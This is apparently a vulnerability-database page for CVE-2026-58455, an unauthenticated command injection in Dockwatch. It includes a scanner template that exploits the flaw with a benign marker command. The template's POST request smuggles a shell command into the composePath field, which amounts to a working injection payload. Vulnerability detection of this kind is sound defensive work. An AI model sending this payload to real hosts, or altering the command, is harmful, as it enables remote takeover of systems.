/Vulnerability Library

Dockwatch <= 0.6.567 - OS Command Injection

CVE-2026-58455
Verified

Description

Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.

Severity

Critical

CVSS Score

9.8

Exploit Probability

5%

Affected Product

dockwatch

Published Date

July 21, 2026

Template Author

dhiyaneshdk

CVE-2026-58455.yaml
id: CVE-2026-58455

info:
  name: Dockwatch <= 0.6.567 - OS Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    Dockwatch through 0.6.567 contains an unauthenticated command injection caused by missing exit() after authentication redirect in loader.php and unsanitized input in ajax/compose.php, letting remote attackers execute arbitrary shell commands, exploit requires seeding a session flag via incomplete auth check.
  impact: |
    Remote attackers can execute arbitrary shell commands, potentially leading to full host compromise.
  remediation: |
    Update to the latest version that fixes the authentication and input validation issues.
  reference:
    - https://github.com/Notifiarr/dockwatch/pull/135
    - https://nvd.nist.gov/vuln/detail/CVE-2026-58455
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-58455
    cwe-id: CWE-78
    epss-score: 0.04856
    epss-percentile: 0.91283
  metadata:
    max-request: 2
    vendor: notifiarr
    product: dockwatch
    shodan-query: title:"Dockwatch"
  tags: cve,cve2026,dockwatch,rce,vkev

flow: http(1) && http(2)

variables:
  cmd: "echo CVE-2026-58455 | rev"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Dockwatch")'
        condition: and
        internal: true

  - raw:
      - |
        POST /ajax/compose.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        m=composePull&composePath=x;{{cmd}};#

    matchers:
      - type: word
        part: body
        words:
          - '55845-2602-EVC'
# digest: 4a0a0047304502204911c2b8210ef68f93d5a0996665c368dc22e7e469517b499a95af017a1f207c022100a8ffc0118c8527d4124589eccdd41774cd5f292f01449075c6f87417f0e5ef7f:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-58455
CWE ID:
cwe-78

References

https://github.com/Notifiarr/dockwatch/pull/135https://nvd.nist.gov/vuln/detail/CVE-2026-58455

Remediation Steps

Update to the latest version that fixes the authentication and input validation issues.